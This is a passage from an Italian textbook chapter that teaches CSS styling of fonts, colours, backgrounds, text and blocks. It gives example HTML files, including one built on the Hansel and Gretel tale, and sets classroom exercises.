Nelle sezioni di questo capitolo che descrivono l’uso del linguaggio HTML è stata omessa la descrizione degli elementi ‘**DIV**’ e ‘**SPAN**’, i quali diventano importanti quando si usano gli stili CSS. L’elemento ‘**DIV**’ è un blocco che racchiude blocchi; l’elemento ‘**SPAN**’ si inserisce nel testo lineare e contiene testo lineare.

Questi elementi non comportano una modifica estetica del loro contenuto, perché servono solo a delimitare in qualche modo blocchi o testo, per assegnargli degli attributi. Per esempio, si può modificare il linguaggio:

```
<DIV LANG="en">

    <P>This is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.</P>

</DIV>
```

Nell’ambito dello studio dei fogli di stile, questi elementi sono utili per l’attribuzione di una classe:

```
Il sig. <SPAN CLASS="nome">Tizio Tizi</SPAN> è andato...
```

67.14 Controllo del carattere

Il carattere tipografico può essere controllato con una serie di proprietà CSS; in particolare possono essere utili quelle che appaiono nella tabella successiva.

Tabella 67.96. Proprietà riferite ai caratteri.

Proprietà	Valori	Descrizione
`font-family`	***nome***	Carattere tipografico indicato per nome.
	`serif`	Carattere con grazie.
	`sans-serif`	Carattere senza grazie.
	`monospace`	Dattilografico.
`font-style`	`normal`	Forma normale.
	`italic`	Corsivo.
	`oblique`	Obliquo.
`font-variant`	`normal`	Serie normale.
	`small-caps`	Maiuscoletto.
`font-weight`	`normal`	Tono normale.
	`bold`	Nero.
	`bolder`	Nerissimo.
	`lighter`	Chiaro.
`font-size`	***n***`pt`	Dimensione in punti.
	n`cm`	Dimensione in centimetri.
	n`mm`	Dimensione in millimetri.
	n`em`	Dimensione relativa in quadratoni.
	n`ex`	Dimensione relativa in Ex.
	n`%`	Dimensione relativa percentuale.
	`small`	Carattere piccolo.
	`medium`	Carattere normale.
	`large`	Carattere grande.

Alla proprietà '**`font-family`**' può essere attribuito il nome di una famiglia di caratteri, op-

pure il nome di una «famiglia generica», che in pratica identifica uno stile del carattere senza indicare esattamente quale tipo di carattere (nella tabella appaiono solo nomi di famiglie generiche). Una famiglia di caratteri potrebbe essere '**times**', mentre una famiglia generica potrebbe essere '**serif**', ovvero un carattere munito di grazie. Alla proprietà '**font-family**' possono essere abbinati più tipi di caratteri, separati da una virgola, per indicare una sequenza alternativa da utilizzare in mancanza di quello preferito:

```
BODY { font-family: gill, helvetica, sans-serif }
```

L'esempio mostra proprio questo: prima si tenta di utilizzare il carattere '**gill**'; quindi si prova con '**helvetica**'; infine ci si accontenta di un carattere senza grazie, '**sans-serif**'.

Figura 67.98. Confronto visivo tra le famiglie generiche.

Times	serif	carattere con grazie
Helvetica	sans–serif	carattere senza grazie
Courier	monospace	carattere dattilografico

67.14.1 File «caratteri-css-01.html»

Si realizzi il file 'caratteri-css-01.html' partendo dal file 'linguaggio-css-01.html', già realizzato in precedenza, modificando la dichiarazione dello stile come si vede nel testo seguente:

```
1   <!DOCTYPE HTML PUBLIC "ISO/IEC 15445:2000//DTD HTML//EN">
2   <HTML LANG="it">
3   <HEAD>
4       <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=us-ascii">
5       <META NAME="Description" CONTENT="Carattere tipografico,
6           esempio 01">
7       <META NAME="Keywords" CONTENT="HTML, CSS, carattere, esempio">
8       <META NAME="Author" CONTENT="Tizio Tizi, tizio@brot.dg, classe 4Z">
9       <META NAME="Date" CONTENT="2010.01.01">
10      <META NAME="Resource-type" LANG="en" CONTENT="Document">
11      <META NAME="Revisit-after" LANG="en" CONTENT="15 days">
12      <META NAME="Robots" CONTENT="ALL">
13      <TITLE>Linguaggio CSS</TITLE>
14      <STYLE TYPE="text/css">
15          <!--
16              H1 {
17                  font-family:    serif;
18                  font-style:     normal;
19                  font-variant:   normal;
20                  font-weight:    bolder;
21                  font-size:      2cm;
22              }
23              P {
24                  font-family:    sans-serif;
25                  font-style:     italic;
26                  font-variant:   normal;
27                  font-weight:    lighter;
```

```
28                  font-size:      1cm;
29              }
30              P.autore {
31                  font-size:        5mm;
32                  text-align:       right;
33                  font-style:       italic;
34              }
35              P.inizio:first-letter {
36                  font-size:        200%;
37                  color:            Blue;
38              }
39          -->
40      </STYLE>
41  </HEAD>
42  <BODY>
43
44  <H1>H&auml;nsel e Gretel</H1>
45
46  <P CLASS="autore">di Jacob e Wilhelm Grimm</P>
47
48  <P CLASS="inizio">Davanti a un gran bosco abitava un povero taglialegna
49  con sua moglie e i suoi due bambini; il maschietto si chiamava
50  H&auml;nsel e la bambina Gretel. Egli aveva poco da metter sotto i
51  denti, e quando ci fu nel paese una grande carestia, non poteva neanche
52  pi&ugrave; procurarsi il pane tutti i giorni. [...]</P>
53
54  <P>Per la fame, neppure i due bimbi potevan dormire, e avevano udito
55  quel che la matrigna diceva al padre. Gretel piangeva amaramente, e
56  disse a H&auml;nsel: - Adesso per noi &egrave; finita. - [...]</P>
57
58  <P>[...]</P>
59
60  </BODY>
61  </HTML>
```

Figura 67.100. Aspetto del file '`caratteri-css-01.html`'.

Hänsel e Gretel

di Jacob e Wilhelm Grimm

Davanti a un gran bosco abitava un povero taglialegna con sua moglie e i suoi due bambini; il maschietto si chiamava Hänsel e la bambina Gretel. Egli aveva poco da metter sotto i denti, e quando ci fu nel paese una grande carestia, non poteva neanche più procurarsi il pane tutti i giorni. [...]

Per la fame, neppure i due bimbi potevan dormire, e avevano udito quel che la matrigna diceva al padre. Gretel piangeva amaramente, e disse a Hänsel: - Adesso per noi è finita. - [...]

[...]

67.14.2 File «caratteri-css-02.html»

Si realizzi il file '`caratteri-css-02.html`', con qualsiasi contenuto, sperimentando anche altre proprietà descritte nel capitolo a proposito del carattere tipografico.

67.14.3 Verifica sull'uso delle proprietà riferite ai caratteri

In base a quanto appreso fino a questo punto, si realizzi il file '`verifica-caratteri-css-01.html`' che produca un risultato abbastanza simile a quello mostrato di seguito, quando viene visto attraverso un navigatore. In questa verifica va usato in modo appropriato l'elemento '**`SPAN`**':

do *re* mi *fa* sol *la* **SI**

c *d* e *f* g a **B**

Le sillabe della prima riga e le lettere della seconda, rappresentano le sette note musicali, scritte secondo la notazione italiana e la notazione inglese. Ogni nota (sillaba o lettera) è scritta con un rapporto di circa il 150 % rispetto alla precedente, inoltre sono stati usati gli evidenziamenti seguenti:

Nota (sillaba o lettera)	Carattere
do	Carattere con grazie, normale.
re	Carattere con grazie, corsivo.
mi	Carattere senza grazie, normale.
fa	Carattere senza grazie, corsivo.
sol	Carattere dattilografico, normale.
la	Carattere dattilografico, corsivo
si	Carattere con grazie, maiuscoletto.
c	Carattere con grazie, normale, nero.
d	Carattere con grazie, corsivo, nero.
e	Carattere senza grazie, normale, nero.
f	Carattere senza grazie, corsivo, nero.
g	Carattere dattilografico, normale, nero.
a	Carattere dattilografico, corsivo, nero.
b	Carattere con grazie, maiuscoletto, nero.

Si completi l'intestazione, coerentemente, secondo il proprio criterio, seguendo le modalità già stabilite. Inoltre, lo stile CSS deve essere incorporato nel file HTML. Si deve consegnare per la valutazione:

1. la stampa del risultato ottenuto attraverso il navigatore;
2. la stampa del sorgente.

Si richiede espressamente che tutti gli elementi, a esclusione di quelli che devono essere vuoti, siano terminati correttamente con il marcatore di chiusura.

67.15 Colore e sfondo

Il colore del carattere, il colore dello sfondo ed eventualmente l'immagine dello sfondo possono essere definiti attraverso le proprietà CSS della tabella successiva.

Tabella 67.103. Proprietà riferite ai colori e allo sfondo.

Proprietà	Valori	Descrizione
`color`	***colore***	Colore del carattere o di primo piano.
`background-color`	***colore***	Colore dello sfondo.
`background-image`	`url(`***uri***`)`	Immagine da usare per lo sfondo.

I colori si possono indicare attraverso il nome che questi hanno in inglese, oppure attraverso la funzione ***rgb()***, con la quale si specifica il valore RGB:

```
rgb(livello_rosso, livello_verde, livello_blu)
```

I numeri che esprimono i livelli dei colori fondamentali RGB vanno da 0 a 255.

Quando si esprimono i colori attraverso il nome (in inglese), conviene rimanere nell'ambito di un gruppo ristretto: '**aqua**', '**black**', '**blue**', '**fuchsia**', '**gray**', '**green**', '**lime**', '**maroon**', '**navy**', '**olive**', '**purple**', '**red**', '**silver**', '**teal**', '**white**' e '**yellow**'.

67.15.1 File «colori-css-01.html»

Si realizzi il file '`colori-css-01.html`' con il contenuto seguente, partendo da una copia del file '`caratteri-css-01.html`':

```
1  <!DOCTYPE HTML PUBLIC "ISO/IEC 15445:2000//DTD HTML//EN">
2  <HTML LANG="it">
3  <HEAD>
4      <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=us-ascii">
5      <META NAME="Description" CONTENT="Colori del testo e dello sfondo,
6          esempio 01">
7      <META NAME="Keywords" CONTENT="HTML, CSS, carattere, esempio">
8      <META NAME="Author" CONTENT="Tizio Tizi, tizio@brot.dg, classe 4Z">
9      <META NAME="Date" CONTENT="2010.01.01">
10     <META NAME="Resource-type" LANG="en" CONTENT="Document">
11     <META NAME="Revisit-after" LANG="en" CONTENT="15 days">
12     <META NAME="Robots" CONTENT="ALL">
13     <TITLE>Linguaggio CSS</TITLE>
14     <STYLE TYPE="text/css">
15         <!--
16             BODY {
17                 background-color: yellow;
18             }
19             H1 {
20                 font-weight:      bolder;
21                 font-size:        2cm;
22                 background-color: red;
23                 color:            white;
24             }
25             P {
26                 font-family:      sans-serif;
27                 font-style:       italic;
28                 font-variant:     normal;
29                 font-weight:      lighter;
30                 font-size:        1cm;
31                 background-color: green;
32             }
33             P.autore {
34                 font-size:        5mm;
35                 text-align:       right;
36                 font-style:       italic;
37                 color:            white;
38             }
39             P.inizio:first-letter {
```

```
40                  font-size:        200%;
41                  color:            Blue;
42              }
43          -->
44      </STYLE>
45  </HEAD>
46  <BODY>
47
48  <H1>H&auml;nsel e Gretel</H1>
49
50  <P CLASS="autore">di Jacob e Wilhelm Grimm</P>
51
52  <P CLASS="inizio">Davanti a un gran bosco abitava un povero taglialegna
53  con sua moglie e i suoi due bambini; il maschietto si chiamava
54  H&auml;nsel e la bambina Gretel. Egli aveva poco da metter sotto i
55  denti, e quando ci fu nel paese una grande carestia, non poteva neanche
56  pi&ugrave; procurarsi il pane tutti i giorni. [...]</P>
57
58  <P>Per la fame, neppure i due bimbi potevan dormire, e avevano udito
59  quel che la matrigna diceva al padre. Gretel piangeva amaramente, e
60  disse a H&auml;nsel: - Adesso per noi &egrave; finita. - [...]</P>
61
62  <P>[...]</P>
63
64  </BODY>
65  </HTML>
```

Figura 67.105. Aspetto del file ‘`colori-css-01.html`’.

Hänsel e Gretel

di Jacob e Wilhelm Grimm

Davanti a un gran bosco abitava un povero taglialegna con sua moglie e i suoi due bambini; il maschietto si chiamava Hänsel e la bambina Gretel. Egli aveva poco da metter sotto i denti, e quando ci fu nel paese una grande carestia, non poteva neanche più procurarsi il pane tutti i giorni. [...]

Per la fame, neppure i due bimbi potevan dormire, e avevano udito quel che la matrigna diceva al padre. Gretel piangeva amaramente, e disse a Hänsel: - Adesso per noi è finita. - [...]

[...]

67.15.2 File «colori-css-02.html»

Si realizzi il file '`colori-css-02.html`' con un contenuto qualsiasi, sperimentando l'uso di altri colori comuni: '**`aqua`**', '**`black`**', '**`blue`**', '**`fuchsia`**', '**`gray`**', '**`green`**', '**`lime`**', '**`maroon`**', '**`navy`**', '**`olive`**', '**`purple`**', '**`red`**', '**`silver`**', '**`teal`**', '**`white`**' e '**`yellow`**'.

67.15.3 File «sfondo-css-01.html»

Si realizzi il file '`sfondo-css-01.html`' con il contenuto seguente:

```
1  <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
2      "http://www.w3.org/TR/html4/strict.dtd">
3  <HTML LANG="it">
4  <HEAD>
5      <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=us-ascii">
6      <META NAME="Description" CONTENT="Sfondo">
7      <META NAME="Keywords" CONTENT="HTML, sfondo, esempio 1">
8      <META NAME="Author" CONTENT="Tizio Tizi, tizio@brot.dg, classe 4Z">
9      <META NAME="Date" CONTENT="2010.01.01">
10     <META NAME="Resource-type" LANG="en" CONTENT="Document">
11     <META NAME="Revisit-after" LANG="en" CONTENT="15 days">
12     <META NAME="Robots" CONTENT="ALL">
13     <TITLE>Sfondo</TITLE>
14     <STYLE TYPE="text/css">
15         <!--
16             BODY {
17                 background-color: yellow;
18                 background-image:
19                 url(http://www.gnu.org/graphics/philosophical-gnu-sm.jpg);
20             }
21             H1 {
22                 font-weight:    bolder;
23                 font-size:      2cm;
24             }
25             P {
26                 font-family:    sans-serif;
27                 font-size:      1cm;
28             }
29         -->
30     </STYLE>
31 </HEAD>
32 <BODY>
33
34 <H1>Le cose che mi piacciono</H1>
35
36 <P>Ci sono due cose che mi piacciono: il software libero e gli standard
37 liberi. Per saperne di pi&ugrave; sul software libero si pu&ograve;
38 leggere qualcosa di utile a partire dal sito <A
39 HREF="http://www.gnu.org">http://www.gnu.org</A>.</P>
40
41 </BODY>
42 </HTML>
```

Si deve ottenere sullo sfondo del documento l'immagine del «GNU filosofico», ripetuta più volte (se non si dispone di un collegamento alla rete esterna, si può usare un'immagine qualunque, modificando il riferimento in modo appropriato, per esempio così: '**`url(philosophical-gnu-sm.jpg)`**').

67.15.4 File «sfondo-css-02.html»

Si realizzi il file '`sfondo-css-02.html`' a partire dal file '`sfondo-css-01.html`', facendo in modo che l'immagine compaia solo sotto la superficie dei paragrafi (gli elementi '**`P`**').

67.15.5 Verifica sull'uso delle proprietà riferite ai colori

In base a quanto appreso fino a questo punto, si realizzi il file '`verifica-colori-css-01.html`' che produca un risultato abbastanza simile a quello mostrato di seguito, quando viene visto attraverso un navigatore. Per realizzare questa verifica si può partire dal file '`verifica-caratteri-css-01.html`' già realizzato in precedenza:

do re mi fa sol la SI

c d e f g a B

Lo sfondo del documento è grigio; ogni nota musicale è rappresentata con un colore diverso, con questa sequenza: nero, marrone, rosso, arancio, giallo, verde, blu.

Si completi l'intestazione, coerentemente, secondo il proprio criterio, seguendo le modalità già stabilite. Inoltre, lo stile CSS deve essere incorporato nel file HTML. Si deve consegnare per la valutazione:

1. la stampa del risultato ottenuto attraverso il navigatore;
2. la stampa del sorgente.

Si richiede espressamente che tutti gli elementi, a esclusione di quelli che devono essere vuoti, siano terminati correttamente con il marcatore di chiusura.

67.16 Testo

Alcune proprietà riferite al testo sono descritte nella tabella successiva. Si tratta in particolare dell'allineamento orizzontale, del rientro e dell'altezza della riga.

Tabella 67.108. Proprietà riferite al testo.

Proprietà	Valori	Descrizione
`vertical-align`	`baseline`	Testo al livello normale.
	`middle`	Allinea al centro.
	`sub`	Pedice.
	`super`	Apice.
`text-transform`	`none`	Nessuna trasformazione del testo.
	`capitalize`	Rende maiuscola la prima lettera delle parole.
	`uppercase`	Tutto maiuscolo.
	`lowercase`	Tutto minuscolo.
`text-align`	`left`	Allinea a sinistra.
	`right`	Allinea a destra.
	`center`	Centra.
	`justify`	Allinea a sinistra e a destra.
`text-indent`	***n***`pt`	Rientro in punti.
	n`cm`	Rientro in centimetri.
	n`mm`	Rientro in millimetri.
	n`em`	Rientro relativo in quadratoni.
	n`ex`	Rientro relativo in Ex.
	n`%`	Rientro relativo in percentuale.
`line-height`	`normal`	Altezza normale della riga.
	n`pt`	Altezza in punti.
	n`cm`	Altezza in centimetri.

Proprietà	Valori	Descrizione
	n mm	Altezza in millimetri.
	n %	Altezza relativa in percentuale.

67.16.1 File «testo-css-01.html»

Si realizzi il file ‘`testo-css-01.html`’ con il contenuto seguente, partendo da una copia del file ‘`colori-css-01.html`’:

```
1  <!DOCTYPE HTML PUBLIC "ISO/IEC 15445:2000//DTD HTML//EN">
2  <HTML LANG="it">
3  <HEAD>
4      <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=us-ascii">
5      <META NAME="Description" CONTENT="Caratteristiche del testo,
6          esempio 01">
7      <META NAME="Keywords" CONTENT="HTML, CSS, testo, esempio">
8      <META NAME="Author" CONTENT="Tizio Tizi, tizio@brot.dg, classe 4Z">
9      <META NAME="Date" CONTENT="2010.01.01">
10     <META NAME="Resource-type" LANG="en" CONTENT="Document">
11     <META NAME="Revisit-after" LANG="en" CONTENT="15 days">
12     <META NAME="Robots" CONTENT="ALL">
13     <TITLE>Linguaggio CSS</TITLE>
14     <STYLE TYPE="text/css">
15         <!--
16             BODY {
17                 line-height:      15mm;
18             }
19             H1 {
20                 font-size:        10mm;
21                 text-transform:   uppercase;
22             }
23             P {
24                 font-size:        5mm;
25                 text-align:       justify;
26             }
27         -->
28     </STYLE>
29 </HEAD>
30 <BODY>
31
32 <H1>H&auml;nsel e Gretel</H1>
33
34 <P>di Jacob e Wilhelm Grimm</P>
35
36 <P>Davanti a un gran bosco abitava un povero taglialegna
37 con sua moglie e i suoi due bambini; il maschietto si chiamava
38 H&auml;nsel e la bambina Gretel. Egli aveva poco da metter sotto i
39 denti, e quando ci fu nel paese una grande carestia, non poteva neanche
40 pi&ugrave; procurarsi il pane tutti i giorni. [...]</P>
41
```

```
42  <P>Per la fame, neppure i due bimbi potevan dormire, e avevano udito
43  quel che la matrigna diceva al padre. Gretel piangeva amaramente, e
44  disse a H&auml;nsel: - Adesso per noi &egrave; finita. - [...]</P>
45
46  <P>[...]</P>
47
48  </BODY>
49  </HTML>
```

Figura 67.110. Aspetto del file ‘testo-css-01.html’.

HÄNSEL E GRETEL

di Jacob e Wilhelm Grimm

Davanti a un gran bosco abitava un povero taglialegna con sua moglie e i suoi due bambini; il maschietto si chiamava Hä nsel e la bambina Gretel. Egli aveva poco da metter sotto i denti, e quando ci fu nel paese una grande carestia, non poteva neanche più procurarsi il pane tutti i giorni. [...]

Per la fame, neppure i due bimbi potevan dormire, e avevano udito quel che la matrigna diceva al padre. Gretel piangeva amaramente, e disse a Hä nsel: - Adesso per noi è finita. - [...]

[...]

67.16.2 Verifica sull'uso delle proprietà riferite al testo

In base a quanto appreso fino a questo punto, si realizzi il file ‘verifica-testo-css-01.html’ che produca un risultato abbastanza simile a quello mostrato di seguito, quando viene visto attraverso un navigatore:

Figura 67.111. Aspetto del file '`verifica-testo-css-01.html`'.

Hänsel e Gretel

Di Jacob E Wilhelm Grimm

Davanti A Un Gran Bosco Abitava Un Povero Taglialegna Con Sua Moglie E I Suoi Due Bambini; Il Maschietto Si Chiamava Hänsel E La Bambina Gretel. Egli Aveva Poco Da Metter Sotto I Denti, E Quando Ci Fu Nel Paese Una Grande Carestia, Non Poteva Neanche Più Procurarsi Il Pane Tutti I Giorni. [...]

Per La Fame, Neppure I Due Bimbi Potevan Dormire, E Avevano Udito Quel Che La Matrigna Diceva Al Padre. Gretel Piangeva Amaramente, E Disse A Hänsel: - Adesso Per Noi È Finita. - [...]

[...]

Le maiuscole all'inizio di ogni parola sono ottenute attraverso una proprietà, mentre nel sorgente HTML il testo è scritto normalmente.

Si completi l'intestazione, coerentemente, secondo il proprio criterio, seguendo le modalità già stabilite. Inoltre, lo stile CSS deve essere incorporato nel file HTML. Si deve consegnare per la valutazione:

1. la stampa del risultato ottenuto attraverso il navigatore;
2. la stampa del sorgente.

Si richiede espressamente che tutti gli elementi, a esclusione di quelli che devono essere vuoti, siano terminati correttamente con il marcatore di chiusura.

67.17 Blocchi

Alcune proprietà riferite ai blocchi di testo rettangolari sono descritte nella tabella successiva. Si tratta in particolare dei margini, dei bordi e della dichiarazione di blocchi fluttuanti.

Tabella 67.112. Proprietà riferite al testo racchiuso in blocchi rettangolari.

Proprietà	Valori	Descrizione
`margin-top`	`auto`	Margine superiore automatico.
	n`pt`	Margine superiore in punti.
	n`cm`	Margine superiore in centimetri.
	n`mm`	Margine superiore in millimetri.
	n`%`	Margine superiore relativo in percentuale.
`margin-bottom`	`auto`	Margine inferiore automatico.
	n`pt`	Margine inferiore in punti.
	n`cm`	Margine inferiore in centimetri.
	n`mm`	Margine inferiore in millimetri.
	n`%`	Margine inferiore relativo in percentuale.
`margin-left`	`auto`	Margine sinistro automatico.
	n`pt`	Margine sinistro in punti.
	n`cm`	Margine sinistro in centimetri.
	n`mm`	Margine sinistro in millimetri.
	n`%`	Margine sinistro relativo in percentuale.
`margin-right`	`auto`	Margine destro automatico.
	n`pt`	Margine destro in punti.
	n`cm`	Margine destro in centimetri.
	n`mm`	Margine destro in millimetri.
	n`%`	Margine destro relativo in percentuale.
`border-width`	`thin`	Bordo sottile.
	`medium`	Bordo medio.
	`thick`	Bordo spesso.
`border-color`	***colore***	Colore del bordo.
`border-style`	`none`	Bordo non visibile.

Proprietà	Valori	Descrizione
	`dotted`	Bordo puntato.
	`dashed`	Bordo tratteggiato.
	`solid`	Bordo continuo.
	`double`	Bordo continuo doppio.
`width`	`auto`	Larghezza automatica.
	n`pt`	Larghezza in punti.
	n`cm`	Larghezza in centimetri.
	n`mm`	Larghezza in millimetri.
	n`%`	Larghezza relativa in percentuale.
`height`	`auto`	Altezza automatica.
	n`pt`	Altezza in punti.
	n`cm`	Altezza in centimetri.
	n`mm`	Altezza in millimetri.
	n`%`	Altezza relativa in percentuale.
`float`	`none`	Blocco fisso.
	`left`	Blocco fluttuante collocato a sinistra con testo che scorre a destra.
	`right`	Blocco fluttuante collocato a destra con testo che scorre a sinistra.
`clear`	`none`	Scorre normalmente.
	`left`	Salta un oggetto che si trova a sinistra.
	`right`	Salta un oggetto che si trova a destra.
	`both`	Salta qualunque oggetto fluttuante.

67.17.1 File «blocchi-css-01.html»

Si realizzi il file '`blocchi-css-01.html`' con il contenuto seguente, riutilizzando eventualmente esercitazioni già svolte:

```
1  <!DOCTYPE HTML PUBLIC "ISO/IEC 15445:2000//DTD HTML//EN">
2  <HTML LANG="it">
3  <HEAD>
4      <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=us-ascii">
```

```
5	    <META NAME="Description" CONTENT="Blocchi, esempio 01">
6	    <META NAME="Keywords" CONTENT="HTML, CSS, blocchi, esempio">
7	    <META NAME="Author" CONTENT="Tizio Tizi, tizio@brot.dg, classe 4Z">
8	    <META NAME="Date" CONTENT="2010.01.01">
9	    <META NAME="Resource-type" LANG="en" CONTENT="Document">
10	    <META NAME="Revisit-after" LANG="en" CONTENT="15 days">
11	    <META NAME="Robots" CONTENT="ALL">
12	    <TITLE>Blocchi</TITLE>
13	    <STYLE TYPE="text/css">
14	        <!--
15	            A.sinistra {
16	                float:          left;
17	                margin-right:   2cm;
18	            }
19	            A.destra {
20	                float:          right;
21	                margin-left:    2cm;
22	            }
23	            H1 {
24	                font-weight:    bolder;
25	                font-size:      2cm;
26	            }
27	            P {
28	                font-family:    sans-serif;
29	                font-size:      8mm;
30	                text-align:     justify;
31	            }
32	        -->
33	    </STYLE>
34	</HEAD>
35	<BODY>
36	
37	<H1>Le cose che mi piacciono</H1>
38	
39	<P><A CLASS="sinistra" HREF="http://www.gnu.org"><IMG
40	SRC="http://www.gnu.org/graphics/philosophical-gnu-sm.jpg" ALT="GNU
41	filosofico"></A>Ci sono due cose che mi piacciono: il software libero e
42	gli standard liberi. Per saperne di pi&ugrave; sul software libero si
43	pu&ograve; leggere qualcosa di utile a partire dal sito
44	http://www.gnu.org (basta fare clic sull'immagine del "GNU filosofico"
45	che appare qui a sinistra).</P>
46	
47	<P><A CLASS="destra" HREF="http://validator.w3.org/check/referer"><IMG
48	SRC="http://validator.w3.org/images/v15445" ALT="Valid
49	ISO-HTML!"></A>Per quanto riguarda gli standard, si veda in particolare
50	il W3C (http://www.w3.org), ma per verificare la correttezza sintattica
51	di questa pagina basta fare un bel clic sulla superficie dell'icona che
52	appare a destra.</P>
53	
54	</BODY>
55	</HTML>
```

Figura 67.114. Aspetto del file ‘blocchi-css-01.html’.

Le cose che mi piacciono

Ci sono due cose che mi piacciono: il software libero e gli standard liberi. Per saperne di più sul software libero si può leggere qualcosa di utile a partire dal sito http://www.gnu.org (basta fare clic sull'immagine del "GNU filosofico" che appare qui a sinistra).

Per quanto riguarda gli standard, si veda in particolare il W3C (http://www.w3c.org), ma per verificare la correttezza sintattica di questa pagina basta fare un bel clic sulla superficie dell'icona che appare a destra.

ISO/IEC 15445

67.17.2 File «blocchi-css-02.html»

Si realizzi il file ‘blocchi-css-02.html’, partendo da una copia di ‘blocchi-css-01.html’, in modo da arrivare al contenuto seguente:

```
1   <!DOCTYPE HTML PUBLIC "ISO/IEC 15445:2000//DTD HTML//EN">
2   <HTML LANG="it">
3   <HEAD>
4       <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=us-ascii">
5       <META NAME="Description" CONTENT="Blocchi, esempio 02">
6       <META NAME="Keywords" CONTENT="HTML, CSS, blocchi, esempio">
7       <META NAME="Author" CONTENT="Tizio Tizi, tizio@brot.dg, classe 4Z">
8       <META NAME="Date" CONTENT="2010.01.01">
9       <META NAME="Resource-type" LANG="en" CONTENT="Document">
10      <META NAME="Revisit-after" LANG="en" CONTENT="15 days">
11      <META NAME="Robots" CONTENT="ALL">
12      <TITLE>Blocchi</TITLE>
13      <STYLE TYPE="text/css">
14          <!--
15              A.sinistra {
16                  float:          left;
17                  margin-right:   2cm;
18              }
19              A.destra {
20                  float:          right;
21                  margin-left:    2cm;
22              }
23              H1 {
24                  font-weight:    bolder;
25                  font-size:      15mm;
26                  margin-left:    2cm;
27                  margin-right:   2cm;
28                  margin-top:     2cm;
```

```
29                  margin-bottom:  2cm;
30                  border-style:   solid;
31              }
32              P {
33                  font-family:    sans-serif;
34                  font-size:      8mm;
35                  text-align:     justify;
36              }
37          -->
38      </STYLE>
39  </HEAD>
40  <BODY>
41
42  <H1>Le cose che mi piacciono</H1>
43
44  <P><A CLASS="sinistra" HREF="http://www.gnu.org"><IMG
45  SRC="http://www.gnu.org/graphics/philosophical-gnu-sm.jpg" ALT="GNU
46  filosofico"></A>Ci sono due cose che mi piacciono: il software libero e
47  gli standard liberi. Per saperne di pi&ugrave; sul software libero si
48  pu&ograve; leggere qualcosa di utile a partire dal sito
49  http://www.gnu.org (basta fare clic sull'immagine del "GNU filosofico"
50  che appare qui a sinistra).</P>
51
52  <P><A CLASS="destra" HREF="http://validator.w3.org/check/referer"><IMG
53  SRC="http://validator.w3.org/images/v15445" ALT="Valid
54  ISO-HTML!"></A>Per quanto riguarda gli standard, si veda in particolare
55  il W3C (http://www.w3.org), ma per verificare la correttezza sintattica
56  di questa pagina basta fare un bel clic sulla superficie dell'icona che
57  appare a destra.</P>
58
59  </BODY>
60  </HTML>
```

Figura 67.116. Aspetto del file 'blocchi-css-02.html'.

67.17.3 File «blocchi-css-03.html»

Si realizzi il file '`blocchi-css-03.html`', riutilizzando eventualmente porzioni di esercitazioni già svolte. Il file deve avere il contenuto seguente:

```
<!DOCTYPE HTML PUBLIC "ISO/IEC 15445:2000//DTD HTML//EN">
<HTML LANG="it">
<HEAD>
    <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=us-ascii">
    <META NAME="Description" CONTENT="Blocchi, esempio 03">
    <META NAME="Keywords" CONTENT="HTML, CSS, blocchi, esempio">
    <META NAME="Author" CONTENT="Tizio Tizi, tizio@brot.dg, classe 4Z">
    <META NAME="Date" CONTENT="2010.01.01">
    <META NAME="Resource-type" LANG="en" CONTENT="Document">
    <META NAME="Revisit-after" LANG="en" CONTENT="15 days">
    <META NAME="Robots" CONTENT="ALL">
    <TITLE>Blocchi</TITLE>
    <STYLE TYPE="text/css">
        <!--
            TABLE {
                border-style:     solid;
                border-width:     thin;
            }
            TH {
                border-style:     none;
                background-color: green;
            }
            TD {
                border-style:     dotted;
                border-width:     thin;
            }
            P {
                margin-top:       5mm;
                margin-bottom:    5mm;
                margin-left:      5mm;
                margin-right:     5mm;
                font-size:        6mm;
            }
        -->
    </STYLE>
</HEAD>
<BODY>

<H1>Operatori</H1>

<P>Segue una tabella contenente l'elenco degli operatori matematici
pi&ugrave; comuni.</P>

<TABLE SUMMARY="operatori">
<CAPTION>Operatori matematici comuni</CAPTION>
<THEAD>
    <TR>
    <TH ROWSPAN="2"></TH>
    <TH ROWSPAN="2"><P>Operatore e operandi</P></TH>
```

```
50        <TH COLSPAN="2"><P>Annotazioni</P></TH>
51        </TR>
52        <TR>
53        <TH><P>Operazione</P></TH>
54        <TH><P>Descrizione</P></TH>
55        </TR>
56    </THEAD>
57    <TBODY>
58        <TR>
59        <TH ROWSPAN="4"><P>le quattro operazioni</P></TH>
60        <TD><P><CODE><VAR>op1</VAR>+<VAR>op2</VAR></CODE></P></TD>
61        <TD><P>somma</P></TD>
62        <TD><P>Somma i due operandi.</P></TD>
63        </TR>
64        <TR>
65        <TD><P><CODE><VAR>op1</VAR>-<VAR>op2</VAR></CODE></P></TD>
66        <TD><P>sottrazione</P></TD>
67        <TD><P>Sottrae il valore del secondo operando da quello
68                del primo.</P></TD>
69        </TR>
70        <TR>
71        <TD><P><CODE><VAR>op1</VAR>*<VAR>op2</VAR></CODE></P></TD>
72        <TD><P>moltiplicazione</P></TD>
73        <TD><P>Moltiplica i due operandi.</P></TD>
74        </TR>
75        <TR>
76        <TD><P><CODE><VAR>op1</VAR>/<VAR>op2</VAR></CODE></P></TD>
77        <TD><P>divisione</P></TD>
78        <TD><P>Divide il primo operando per il valore del secondo.</P></TD>
79        </TR>
80    </TBODY>
81    </TABLE>
82
83    </BODY>
84    </HTML>
```

Figura 67.118. Aspetto del file '`blocchi-css-03.html`'.

Operatori

Segue una tabella contenente l'elenco degli operatori matematici più comuni.

Operatori matematici comuni

	Operatore e operandi	Annotazioni	
		Operazione	Descrizione
le quattro operazioni	*op1+op2*	somma	Somma i due operandi.
	op1-op2	sottrazione	Sottrae il valore del secondo operando da quello del primo.
	*op1*op2*	moltiplicazione	Moltiplica i due operandi.
	op1/op2	divisione	Divide il primo operando per il valore del secondo.

67.17.4 Verifica sull'uso delle proprietà riferite ai blocchi

